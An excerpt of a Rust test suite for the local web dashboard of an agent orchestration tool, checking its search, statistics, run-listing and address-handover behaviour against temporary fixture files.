11163 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
11175 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
11176 let home = TempDir::new().expect("temp home");
11177 let runs = home.path().join("runs");
11178 std::fs::create_dir_all(&runs).expect("runs dir");
11179 let ui = Ui::new(
11180 Queue::at(home.path().join("queue")),
11181 Questions::at(home.path().join("questions")),
11182 Talks::at(home.path().join("talks")),
11183 runs,
11184 home.path().to_path_buf(),
11185 PathBuf::from("/repo/magi"),
11186 )
11187 .with_worktrees_root(home.path().join("wt"))
11188 .with_launch(launch_knocking_on_the_way_out);
11189 let looping = ui.looping();
11190 let turns = ui.turns();
11191 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11192 .await
11193 .expect("bind loopback");
11194 let addr = listener.local_addr().expect("local addr");
11195 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
11196 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
11197
11198 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
11199 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
11200
11201 let bound = std::sync::Mutex::new(None);
11216 hand_over(
11217 home.path(),
11218 &looping,
11219 &turns,
11220 &|_: &[String]| Duration::from_secs(5),
11221 served,
11222 |_| {
11223 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
11224 let attempt = loop {
11225 match std::net::TcpListener::bind(addr) {
11226 Ok(l) => {
11227 drop(l);
11228 break Ok(());
11229 }
11230 Err(e)
11231 if e.kind() == std::io::ErrorKind::AddrInUse
11232 && std::time::Instant::now() < deadline =>
11233 {
11234 std::thread::sleep(std::time::Duration::from_millis(10));
11235 }
11236 Err(e) => break Err(e.to_string()),
11237 }
11238 };
11239 *bound.lock().expect("bound") = Some(attempt);
11240 Ok(1)
11241 },
11242 )
11243 .await
11244 .expect("hand over");
11245
11246 assert_eq!(
11247 *PARK_HEARD.lock().expect("park heard"),
11248 Some(200),
11249 "the deck must answer while the loop is parking"
11250 );
11251 let attempt = bound
11252 .lock()
11253 .expect("bound")
11254 .take()
11255 .expect("the successor was started");
11256 assert!(
11257 attempt.is_ok(),
11258 "and the address must be free by the time it is: {attempt:?}"
11259 );
11260 }
11261
11262 #[tokio::test]
11263 async fn a_newer_daemon_status_file_still_renders() {
11264 let f = Fixture::start().await;
11265 std::fs::write(
11268 f.home.path().join("daemon.json"),
11269 serde_json::json!({
11270 "schema": 2,
11271 "updated_at": Timestamp::now().to_string(),
11272 "idle": true,
11273 "surprise": { "nested": [1, 2, 3] },
11274 })
11275 .to_string(),
11276 )
11277 .expect("write daemon.json");
11278
11279 let health = f.get("/api/health").await;
11280
11281 assert_eq!(health.status, 200);
11282 assert_eq!(health.json()["daemon"]["running"], true);
11283 }
11284
11285 #[tokio::test]
11286 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
11287 let f = Fixture::start().await;
11288 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11289 let broken = f.runs().join("20260902-140502-bad");
11290 std::fs::create_dir_all(&broken).expect("run dir");
11291 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11292
11293 let list = f.get("/api/runs").await;
11294 let detail = f.get("/api/runs/20260902-140502-bad").await;
11295
11296 assert_eq!(list.status, 200);
11297 let listed = list.json();
11298 let ids: Vec<&str> = listed
11299 .as_array()
11300 .expect("an array")
11301 .iter()
11302 .map(|r| r["id"].as_str().expect("an id"))
11303 .collect();
11304 assert_eq!(
11305 ids,
11306 vec!["20260902-140501-good"],
11307 "one unreadable run must not cost the operator the whole history"
11308 );
11309 assert_eq!(detail.status, 500);
11310 assert!(
11311 detail.json()["error"]
11312 .as_str()
11313 .is_some_and(|e| e.contains("run.json")),
11314 "the failure names the file to look at: {}",
11315 detail.body
11316 );
11317 let health = f.get("/api/health").await;
11321 assert_eq!(health.json()["runs_unreadable"], 1);
11322 }
11323
11324 #[tokio::test]
11326 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
11327 let f = Fixture::start().await;
11328 let runs = f.runs();
11329 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
11330 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
11331 let path = runs.join("20260902-140502-bbbb").join("run.json");
11334 let mut v: serde_json::Value =
11335 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11336 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
11337 std::fs::write(&path, v.to_string()).unwrap();
11338 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
11339 std::fs::write(
11340 runs.join("20260902-140503-cccc").join("run.json"),
11341 "{ not json",
11342 )
11343 .unwrap();
11344
11345 let res = f.get("/api/search?scope=runs&q=quokka").await;
11346 assert_eq!(res.status, 200, "{}", res.body);
11347 let v = res.json();
11348 assert_eq!(v["total"], 1, "{v}");
11349 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
11350 assert_eq!(v["hits"][0]["field"], "text");
11351 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
11352 let parts = v["hits"][0]["snippet"].as_array().unwrap();
11353 assert!(
11354 parts
11355 .iter()
11356 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
11357 "{v}"
11358 );
11359 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
11360 assert_eq!(
11361 flat, "The Quokka leaks across threads",
11362 "whitespace is collapsed"
11363 );
11364
11365 let both = f
11367 .get("/api/search?scope=runs&q=MOBILE%20quokka")
11368 .await
11369 .json();
11370 assert_eq!(both["total"], 1, "{both}");
11371 let neither = f
11372 .get("/api/search?scope=runs&q=quokka%20zebra")
11373 .await
11374 .json();
11375 assert_eq!(neither["total"], 0, "{neither}");
11376 let stmt = f
11378 .get("/api/search?scope=runs&q=mobile%20first")
11379 .await
11380 .json();
11381 assert_eq!(stmt["total"], 2, "{stmt}");
11382 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
11383 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
11384 }
11385
11386 #[test]
11387 fn snippet_ignores_terms_longer_than_the_field() {
11388 let terms = ["ok".to_owned(), "elephant".to_owned()];
11389 let parts = snippet_of("ok", &terms);
11390 assert_eq!(
11391 parts,
11392 vec![SnippetPart {
11393 text: "ok".to_owned(),
11394 hit: true
11395 }]
11396 );
11397 }
11398
11399 #[test]
11400 fn snippet_marks_matches_longer_than_the_window() {
11401 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
11402 let hit_len = |parts: &[SnippetPart]| -> usize {
11403 parts
11404 .iter()
11405 .filter(|p| p.hit)
11406 .map(|p| p.text.chars().count())
11407 .sum()
11408 };
11409 let total =
11410 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
11411
11412 let long = "a".repeat(120);
11413 let parts = snippet_of(&long, std::slice::from_ref(&long));
11414 assert!(hit_len(&parts) > 0, "{parts:?}");
11415 assert!(total(&parts) <= cap);
11416
11417 let ja = "あ".repeat(130);
11418 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
11419 assert!(hit_len(&parts) > 0, "{parts:?}");
11420 assert!(total(&parts) <= cap);
11421
11422 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
11424 let term = format!("ab{}", "c".repeat(100));
11425 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
11426 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
11427 assert!(total(&parts) <= cap);
11428
11429 let text = format!("{}z", "a".repeat(119));
11431 let parts = snippet_of(&text, &["a".repeat(120)]);
11432 assert_eq!(hit_len(&parts), 0, "{parts:?}");
11433 }
11434
11435 #[tokio::test]
11436 async fn search_caps_hits_and_snippet_length() {
11437 let f = Fixture::start().await;
11438 let runs = f.runs();
11439 for n in 0..(SEARCH_MAX_HITS + 5) {
11440 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
11441 }
11442 let v = f.get("/api/search?scope=runs&q=web").await.json();
11443 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
11444 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
11445 assert_eq!(v["truncated"], true);
11446 assert!(
11448 v["hits"]
11449 .as_array()
11450 .unwrap()
11451 .iter()
11452 .all(|h| h["run"]["status"] == "merged")
11453 );
11454
11455 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
11456 let parts = snippet_of(&long, &["needle".to_owned()]);
11457 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
11458 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
11459 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
11460 }
11461
11462 #[tokio::test]
11463 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
11464 let f = Fixture::start().await;
11465 let queue = f.queue();
11466 let mut t = Task::new(
11467 "short title".to_owned(),
11468 "line one\nthe hidden Armadillo detail".to_owned(),
11469 PathBuf::from("/repo/magi"),
11470 Source::Agent {
11471 run: "r1".to_owned(),
11472 node: "chat".to_owned(),
11473 },
11474 );
11475 t.last_error = Some("disk full on /tmp".to_owned());
11476 queue.put(&mut t).expect("file the task");
11477
11478 for (q, want) in [
11479 ("armadillo", 1),
11480 ("disk%20FULL", 1),
11481 ("chat", 1),
11482 ("queued", 1),
11483 ("short%20nothing", 0),
11484 ] {
11485 let v = f
11486 .get(&format!("/api/search?scope=tasks&q={q}"))
11487 .await
11488 .json();
11489 assert_eq!(v["total"], want, "{q}: {v}");
11490 }
11491 for bad in [
11492 "/api/search?scope=tasks&q=",
11493 "/api/search?scope=tasks&q=%20",
11494 "/api/search?scope=chats&q=",
11495 "/api/search?scope=chats&q=%20",
11496 "/api/search?scope=nope&q=a",
11497 "/api/search?q=a",
11498 ] {
11499 assert_eq!(f.get(bad).await.status, 400, "{bad}");
11500 }
11501 }
11502
11503 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
11505 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
11506 .expect("seat value");
11507 let turns: Vec<serde_json::Value> = turns
11508 .iter()
11509 .map(|(who, body)| {
11510 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
11511 })
11512 .collect();
11513 let doc = serde_json::json!({
11514 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
11515 "status": status, "turns": turns,
11516 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
11517 "seat": seat,
11518 });
11519 let dir = f.home.path().join("talks");
11520 std::fs::create_dir_all(&dir).expect("talks dir");
11521 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
11522 }
11523
11524 #[tokio::test]
11525 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
11526 let f = Fixture::start().await;
11527 write_talk(
11528 &f,
11529 "20260901-000001-aaaa",
11530 "open",
11531 &[
11532 (
11533 "operator",
11534 "\n Why does the Pangolin cache expire?\nsecond line",
11535 ),
11536 ("agent", "Because the TTL is thirty seconds."),
11537 ],
11538 );
11539 write_talk(
11540 &f,
11541 "20260901-000002-bbbb",
11542 "closed",
11543 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
11544 );
11545 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
11546
11547 let search = |q: &'static str| {
11548 let f = &f;
11549 async move {
11550 f.get(&format!("/api/search?scope=chats&q={q}"))
11551 .await
11552 .json()
11553 }
11554 };
11555
11556 let v = search("PANGOLIN").await;
11557 assert_eq!(v["scope"], "chats");
11558 assert_eq!(v["total"], 1, "{v}");
11559 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
11560 assert_eq!(v["hits"][0]["field"], "title");
11561 assert_eq!(v["unreadable"], 1, "{v}");
11562 let marked: Vec<&str> = v["hits"][0]["snippet"]
11563 .as_array()
11564 .unwrap()
11565 .iter()
11566 .filter(|p| p["hit"] == true)
11567 .map(|p| p["text"].as_str().unwrap())
11568 .collect();
11569 assert_eq!(marked, ["Pangolin"]);
11570
11571 let v = search("zebra").await;
11573 assert_eq!(v["total"], 1, "{v}");
11574 assert_eq!(v["hits"][0]["field"], "agent");
11575 assert_eq!(search("pangolin%20thirty").await["total"], 1);
11577 assert_eq!(search("pangolin%20zebra").await["total"], 0);
11578 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
11580 assert_eq!(search(q).await["total"], 0, "{q}");
11581 }
11582 assert_eq!(search("second").await["hits"][0]["field"], "operator");
11584 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
11586
11587 let v = f.get("/api/search?scope=nope&q=a").await;
11588 assert_eq!(v.status, 400);
11589 assert!(
11590 v.body.contains("scope must be runs, tasks or chats"),
11591 "{}",
11592 v.body
11593 );
11594 }
11595
11596 #[test]
11597 fn a_question_card_links_a_task_id_to_the_task_page() {
11598 let start = APP_JS
11599 .find("function updateAskCard(")
11600 .expect("updateAskCard exists");
11601 let body = &APP_JS[start..];
11602 let body = &body[..body.find("\n}\n").expect("function end")];
11603 assert!(body.contains("question.run_is_task"));
11604 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
11605 assert!(body.contains("`#/runs/${question.run}`"));
11606 assert!(body.contains("\"task\" : \"run\""));
11607 }
11608
11609 #[test]
11610 fn plain_text_message_surfaces_go_through_linkify() {
11611 assert!(APP_JS.contains("function linkify("));
11612 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
11613 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
11614 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
11615 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
11616 assert!(!APP_JS.contains("innerHTML = text"));
11617 }
11618
11619 #[test]
11620 fn stats_bars_share_one_id_keyed_plan() {
11621 let start = APP_JS
11622 .find("function statsBarRows(")
11623 .expect("statsBarRows exists");
11624 let body = &APP_JS[start..];
11625 let body = &body[..body.find("\n}\n").expect("function end")];
11626 assert!(body.contains("statsBarPlan(rows)"));
11627 assert!(body.contains("statsAgentTone(row.agent)"));
11628 assert!(!body.contains("candTone(i)"));
11629 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
11630 for root in ["stats-agents-bars", "stats-reviewers-bars"] {
11631 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
11632 }
11633 }
11634
11635 #[test]
11636 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
11637 let start = APP_JS
11638 .find("function renderStatsReviewerScatter(")
11639 .expect("renderStatsReviewerScatter exists");
11640 let body = &APP_JS[start..];
11641 let body = &body[..body.find("\n}\n").expect("function end")];
11642 assert!(body.contains("statsScatterPlan(reviewers)"));
11643 assert!(body.contains("statsAgentTone(d.agent)"));
11644 assert!(APP_JS.contains("function statsScatterPlan("));
11645 assert!(
11646 APP_JS.contains("d.submitted < STATS_LOW_N")
11647 || APP_JS.contains("r.submitted < STATS_LOW_N")
11648 );
11649 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
11650 assert!(APP_CSS.contains(".precision-scatter"));
11651 }
11652
11653 #[test]
11654 fn advisor_reflection_is_drawn_as_stacked_segments() {
11655 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
11656 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
11657 let html = include_str!("../assets/ui/index.html");
11658 assert!(html.contains("Approximate"));
11659 for label in ["reflected strongly", "faint", "no proposal"] {
11660 assert!(html.contains(label));
11661 }
11662 let css = include_str!("../assets/ui/app.css");
11663 for c in ["refl-strong", "refl-faint", "refl-absent"] {
11664 assert!(css.contains(&format!(".{c} {{")));
11665 }
11666 }
11667
11668 #[test]
11669 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
11670 assert!(APP_JS.contains("function statsDailyPlan("));
11671 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
11672 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
11673 }
11674
11675 #[test]
11676 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
11677 let start = APP_JS
11678 .find("function scheduleSearch(")
11679 .expect("scheduleSearch exists");
11680 let body = &APP_JS[start..];
11681 let body = &body[..body.find("\n}\n").expect("function end")];
11682 assert!(body.contains("s.seq += 1"));
11683 }
11684
11685 #[tokio::test]
11690 async fn stats_runs_unreadable_matches_health() {
11691 let f = Fixture::start().await;
11692 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11693 let broken = f.runs().join("20260902-140502-bad");
11694 std::fs::create_dir_all(&broken).expect("run dir");
11695 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11696
11697 let stats = f.get("/api/stats").await;
11698 let health = f.get("/api/health").await;
11699
11700 assert_eq!(stats.status, 200);
11701 assert_eq!(stats.json()["totals"]["runs"], 1);
11702 assert_eq!(stats.json()["runs_unreadable"], 1);
11703 assert_eq!(
11704 stats.json()["runs_unreadable"],
11705 health.json()["runs_unreadable"],
11706 "the dashboard and /api/health must never disagree about how many \
11707 runs could not be read"
11708 );
11709 }
11710
11711 #[tokio::test]
11712 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
11713 let f = Fixture::start().await;
11714 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11715 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
11716 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
11717
11718 let totals = &f.get("/api/stats").await.json()["totals"];
11719 assert_eq!(totals["runs"], 3);
11720 assert_eq!(totals["merged"], 1);
11721 assert_eq!(totals["stalled"], 1);
11722 assert_eq!(totals["in_progress"], 1);
11723 assert_eq!(totals["blocked"], 0);
11726 assert_eq!(totals["ready"], 0);
11727 }
11728
11729 #[tokio::test]
11730 async fn stats_advisors_report_proposals_and_reflection() {
11731 use crate::advise::{Advice, AdvisorRecord, Reflection};
11732 use crate::verdict::Proposal;
11733
11734 let f = Fixture::start().await;
11735 let mut state = RunState::new(
11736 PathBuf::from("/repo/magi"),
11737 "main".to_owned(),
11738 "0123456789abcdef".to_owned(),
11739 "task".to_owned(),
11740 Config::default(),
11741 );
11742 state.id = "20260902-140501-a".to_owned();
11743 state.status = RunStatus::Merged;
11744 state.advice = Some(Advice {
11745 records: vec![
11746 AdvisorRecord {
11747 seat: "advisor-1".to_owned(),
11748 agent: "alpha".to_owned(),
11749 proposal: Some(Proposal {
11750 approach: "do it".to_owned(),
11751 key_tradeoff: "speed over memory".to_owned(),
11752 risks: Vec::new(),
11753 touches: Vec::new(),
11754 why_not_naive: "breaks under load".to_owned(),
11755 }),
11756 error: None,
11757 duration_ms: 0,
11758 reflection: Reflection::Strong,
11759 },
11760 AdvisorRecord {
11761 seat: "advisor-2".to_owned(),
11762 agent: "alpha".to_owned(),
11763 proposal: None,
11764 error: Some("timed out".to_owned()),
11765 duration_ms: 0,
11766 reflection: Reflection::Absent,
11767 },
11768 ],
11769 synthesis: Some("blended brief".to_owned()),
11770 });
11771 let dir = f.runs().join(&state.id);
11772 std::fs::create_dir_all(&dir).expect("run dir");
11773 std::fs::write(
11774 dir.join("run.json"),
11775 serde_json::to_string_pretty(&state).expect("serialize run"),
11776 )
11777 .expect("write run.json");
11778
11779 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
11781 let alpha = advisors
11782 .as_array()
11783 .expect("an array")
11784 .iter()
11785 .find(|a| a["agent"] == "alpha")
11786 .expect("alpha row");
11787 assert_eq!(alpha["seated"], 2);
11788 assert_eq!(alpha["proposed"], 1);
11789 assert_eq!(alpha["absent"], 1);
11790 assert_eq!(alpha["strong"], 1);
11791 assert_eq!(alpha["faint"], 0);
11792 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
11793 }
11794
11795 #[tokio::test]
11796 async fn stats_hides_agents_outside_the_roster_unless_all() {
11797 use crate::run::Candidate;
11798 let repo = TempDir::new().expect("repo dir");
11799 std::fs::write(
11800 repo.path().join("magi.toml"),
11801 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
11802 )
11803 .expect("magi.toml");
11804 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
11805 let mut state = RunState::new(
11806 PathBuf::from("/repo/magi"),
11807 "main".to_owned(),
11808 "0123456789abcdef".to_owned(),
11809 "task".to_owned(),
11810 Config::default(),
11811 );
11812 state.id = "20260902-140501-a".to_owned();
11813 state.status = RunStatus::Merged;
11814 for (label, agent) in [('A', "keep"), ('B', "retired")] {
11815 let mut c: Candidate = serde_json::from_value(serde_json::json!({
11816 "index": 0, "label": label.to_string(), "agent": agent,
11817 "branch": "b", "worktree": "/w",
11818 }))
11819 .expect("candidate");
11820 c.label = label;
11821 state.candidates.push(c);
11822 }
11823 let dir = f.runs().join(&state.id);
11824 std::fs::create_dir_all(&dir).expect("run dir");
11825 std::fs::write(
11826 dir.join("run.json"),
11827 serde_json::to_string_pretty(&state).expect("serialize run"),
11828 )
11829 .expect("write run.json");
11830
11831 let agents_of = |v: &serde_json::Value| -> Vec<String> {
11832 v["agents"]
11833 .as_array()
11834 .expect("array")
11835 .iter()
11836 .map(|a| a["agent"].as_str().unwrap().to_owned())
11837 .collect()
11838 };
11839 let hidden = f.get("/api/stats").await.json();
11840 assert_eq!(agents_of(&hidden), ["keep"]);
11841 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
11842 assert_eq!(hidden["totals"]["runs"], 1);
11843
11844 let all = f.get("/api/stats?all=true").await.json();
11845 assert_eq!(agents_of(&all).len(), 2);
11846 assert_eq!(all["retired_hidden"], serde_json::json!([]));
11847 }
11848
11849 #[tokio::test]
11850 async fn stats_release_bumps_split_clean_from_attention() {
11851 use crate::run::ReleaseBump;
11852
11853 let f = Fixture::start().await;
11854
11855 let mut clean = RunState::new(
11856 PathBuf::from("/repo/magi"),
11857 "main".to_owned(),
11858 "0123456789abcdef".to_owned(),
11859 "task".to_owned(),
11860 Config::default(),
11861 );
11862 clean.id = "20260902-140501-a".to_owned();
11863 clean.status = RunStatus::Merged;
11864 clean.release_bump = Some(ReleaseBump {
11865 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
11866 version: Some("1.0.0".to_owned()),
11867 automerge_enabled: true,
11868 merged_directly: false,
11869 local: false,
11870 release: None,
11871 problem: None,
11872 action_required: None,
11873 });
11874
11875 let mut blocked = RunState::new(
11876 PathBuf::from("/repo/magi"),
11877 "main".to_owned(),
11878 "0123456789abcdef".to_owned(),
11879 "task".to_owned(),
11880 Config::default(),
11881 );
11882 blocked.id = "20260902-140502-b".to_owned();
11883 blocked.status = RunStatus::Merged;
11884 blocked.release_bump = Some(ReleaseBump {
11885 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
11886 version: Some("1.0.1".to_owned()),
11887 automerge_enabled: false,
11888 merged_directly: false,
11889 local: false,
11890 release: None,
11891 problem: Some("checks red".to_owned()),
11892 action_required: Some("look at the PR".to_owned()),
11893 });
11894
11895 for state in [&clean, &blocked] {
11896 let dir = f.runs().join(&state.id);
11897 std::fs::create_dir_all(&dir).expect("run dir");
11898 std::fs::write(
11899 dir.join("run.json"),
11900 serde_json::to_string_pretty(state).expect("serialize run"),
11901 )
11902 .expect("write run.json");
11903 }
11904
11905 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11906 assert_eq!(bumps["merged"], 2);
11907 assert_eq!(bumps["recorded"], 2);
11908 assert_eq!(bumps["pr_opened"], 2);
11909 assert_eq!(bumps["automerge_enabled"], 1);
11910 assert_eq!(bumps["needs_attention"], 1);
11911 assert_eq!(bumps["clean"], 1);
11912 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
11913 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
11914 }
11915
11916 #[tokio::test]
11917 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
11918 let f = Fixture::start().await;
11919 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11920
11921 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11922 assert_eq!(bumps["merged"], 1);
11923 assert_eq!(bumps["recorded"], 0);
11924 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
11927 assert_eq!(bumps["automerge_rate"], Value::Null);
11930 assert_eq!(bumps["attention_rate"], Value::Null);
11931 }
11932
11933 #[tokio::test]
11934 async fn stats_queue_counts_come_from_the_live_queue() {
11935 let f = Fixture::start().await;
11936 let q = f.queue();
11937 let mut queued = Task::new(
11938 "queued task".to_owned(),
11939 "do it".to_owned(),
11940 PathBuf::from("/repo"),
11941 Source::Human,
11942 );
11943 q.put(&mut queued).expect("put queued");
11944 let mut held = Task::new(
11945 "held task".to_owned(),
11946 "do it later".to_owned(),
11947 PathBuf::from("/repo"),
11948 Source::Human,
11949 );
11950 held.hold_machine(Some("out of attempts".to_owned()));
11951 q.put(&mut held).expect("put held");
11952
11953 let queue = f.get("/api/stats").await.json()["queue"].clone();
11954 assert_eq!(queue["queued"], 1);
11955 assert_eq!(queue["held"], 1);
11956 assert_eq!(queue["running"], 0);
11957 assert_eq!(queue["done"], 0);
11958 assert_eq!(queue["failed"], 0);
11959 assert_eq!(queue["blocked"], 0);
11960 }
11961
11962 #[tokio::test]
11963 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
11964 let f = Fixture::start().await;
11965 let stats = f.get("/api/stats").await;
11966 assert_eq!(stats.status, 200);
11967 assert_eq!(stats.json()["totals"]["runs"], 0);
11968 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
11969 assert_eq!(stats.json()["runs_unreadable"], 0);
11970 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
11971 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
11972 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
11973 assert_eq!(stats.json()["repo"], Value::Null);
11974 }
11975
11976 #[tokio::test]
11977 async fn stats_lists_every_repository_with_runs_recorded() {
11978 let f = Fixture::start().await;
11979 write_run_repo(
11980 &f.runs(),
11981 "20260902-140501-a",
11982 RunStatus::Merged,
11983 "/repos/a",
11984 );
11985 write_run_repo(
11986 &f.runs(),
11987 "20260902-140502-b",
11988 RunStatus::Merged,
11989 "/repos/a",
11990 );
11991 write_run_repo(
11992 &f.runs(),
11993 "20260902-140503-c",
11994 RunStatus::Blocked,
11995 "/repos/b",
11996 );
11997
11998 let stats = f.get("/api/stats").await;
11999 assert_eq!(stats.status, 200);
12000 assert_eq!(stats.json()["totals"]["runs"], 3);
12002 assert_eq!(stats.json()["repo"], Value::Null);
12003
12004 let repos = stats.json()["repos"].clone();
12005 let repos = repos.as_array().unwrap();
12006 assert_eq!(repos.len(), 2);
12007 assert_eq!(repos[0]["repo"], "/repos/a");
12009 assert_eq!(repos[0]["name"], "a");
12010 assert_eq!(repos[0]["runs"], 2);
12011 assert_eq!(repos[1]["repo"], "/repos/b");
12012 assert_eq!(repos[1]["runs"], 1);
12013 }
12014
12015 #[tokio::test]
12016 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
12017 let f = Fixture::start().await;
12018 write_run_repo(
12019 &f.runs(),
12020 "20260902-140501-a",
12021 RunStatus::Merged,
12022 "/repos/a",
12023 );
12024 write_run_repo(
12025 &f.runs(),
12026 "20260902-140502-b",
12027 RunStatus::Blocked,
12028 "/repos/b",
12029 );
12030
12031 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
12032 assert_eq!(stats.status, 200);
12033 assert_eq!(stats.json()["totals"]["runs"], 1);
12034 assert_eq!(stats.json()["totals"]["merged"], 1);
12035 assert_eq!(stats.json()["repo"], "/repos/a");
12036 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
12039 assert_eq!(stats.json()["runs_unreadable"], 0);
12042 }
12043
12044 #[tokio::test]
12045 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
12046 let f = Fixture::start().await;
12047 write_run_repo(
12048 &f.runs(),
12049 "20260902-140501-a",
12050 RunStatus::Merged,
12051 "/repos/a",
12052 );
12053 write_run_repo(
12054 &f.runs(),
12055 "20260902-140502-b",
12056 RunStatus::Merged,
12057 "/repos/b",
12058 );
12059
12060 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
12061 let json = f.get(uri).await.json();
12062 let daily = json["daily"].as_array().expect("daily is an array");
12063 assert_eq!(daily.len(), 30);
12064 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
12065 let mut sorted = dates.clone();
12066 sorted.sort();
12067 assert_eq!(dates, sorted);
12068 for d in daily {
12069 assert_eq!(
12070 d["merged"].as_u64().unwrap()
12071 + d["ready"].as_u64().unwrap()
12072 + d["other"].as_u64().unwrap(),
12073 d["runs"].as_u64().unwrap()
12074 );
12075 }
12076 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
12077 }
12078 }
12079
12080 #[tokio::test]
12081 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
12082 let f = Fixture::start().await;
12083 write_run_repo(
12084 &f.runs(),
12085 "20260902-140501-a",
12086 RunStatus::Merged,
12087 "/repos/a",
12088 );
12089
12090 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
12091 assert_eq!(stats.status, 404);
12092 }
12093
12094 #[tokio::test]
12095 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
12096 let f = Fixture::start().await;
12097 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
12098
12099 let summary = f.get("/api/runs").await.json();
